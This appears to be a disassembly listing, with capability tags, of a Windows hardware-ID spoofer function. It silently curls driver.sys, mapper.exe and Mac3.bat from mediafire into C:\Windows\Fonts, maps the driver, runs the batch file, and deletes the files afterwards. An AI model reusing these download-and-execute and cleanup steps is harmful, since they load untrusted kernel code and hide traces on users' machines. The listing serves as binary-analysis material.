Function at 0x1400017c0
Capabilities:
Create process on windows
Delete file
Execute command

Disassembly:
push rbx
sub rsp, 0x40
mov rax, qword [0x140009040]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x28], 5
lea r8, str.https:__discord.gg_YkztKqgzbb
xor r9d, r9d
mov qword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
nop word [rax + rax]
lea rcx, [0x140005e9c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._n_n_1__Randomize_Spoof__2__Clean__3__Check_Serials_n_n
call fcn.140002b30
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [rsp + 0x30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov ecx, dword [rsp + 0x30]
sub ecx, 1
je 0x14000187d
sub ecx, 1
je 0x140001876
cmp ecx, 1
je 0x14000186f
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Invalid_choice._Please_enter_1__2__or_3._n
call fcn.140002b30
mov ecx, 0x7d0
jmp 0x1400017ff
call fcn.140001570
jmp 0x140001810
call fcn.140001290
jmp 0x140001810
lea rcx, str.curl___silent__o_C:WindowsFontsdriver.sys__https:__download1507.mediafire.com_3muac9j636lgJvcZ8qYxEhY6kc9YPkXO2JKyiA4G4lt7wEQhbg_OrH2Qe37e0OxxIO6HjBUVCxa3fxduagQmzYpNl6hy1PIafdzkeiIF9PYdAKNS_wDwe6GxI1aLUgzOIKEP0OHyG_yNw2zT_xA7XC_UNaQyfPpSlvmdAGPYxRQ_6ytydpbhr8grjul_driver.sys_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent__o_C:WindowsFontsmapper.exe__https:__download1509.mediafire.com_kov6zb6q10mgKsKiKw5n96o_NjaF8JtBGcBWuY1QAIkJgSauE0hfHjV2cOpKp_gTC1yv47RspT0tnOUZ5RCPX5I_CHOaOKfBIIJsCaMO7w0BeHvUDT93klxxwTwAdZT1YEtPpaOKm_bbHsw5uhTMQodxatJ1puNwTFgGmpj5pZ8_c2rnbkorcm2jcz9_mapper.exe_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent__o_C:WindowsFontsMac3.bat__https:__download1078.mediafire.com_tjlpp1sxw2lg2D1_uRhks2v_GOLjoIYOorvuSJQJmccmOe0I1S8uSq3w8fD7w4fVeXvnUzos8_ODO_nV1xxGwk0tgJGcMe8PJSsxyQIBVTcg1fxMEAO6h3AWTx7St4lwdnXDnBqYWoFDlOOkYWPVxh5NfU2Vh9QYfBeZ7N_t8MA_abivig15du73vof_Mac3.bat_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsFontsmapper.exe_C:WindowsFontsdriver.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Running_the_batch_file_Mac3.bat...
call fcn.140002b30
lea rdx, [0x140002d10]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.cmd.exe__C_C:WindowsFontsMac3.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ebx, eax
test eax, eax
je 0x140001907
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_execute_Mac3.bat._Error_code:
call fcn.140002b30
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
jmp 0x14000191a
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Mac3.bat_executed_successfully.
call fcn.140002b30
lea rdx, [0x140002d10]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.C:WindowsFontsmapper.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:WindowsFontsdriver.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:WindowsFontsMac3.bat
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Operation_completed.
call fcn.140002b30
lea rdx, [0x140002d10]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140001810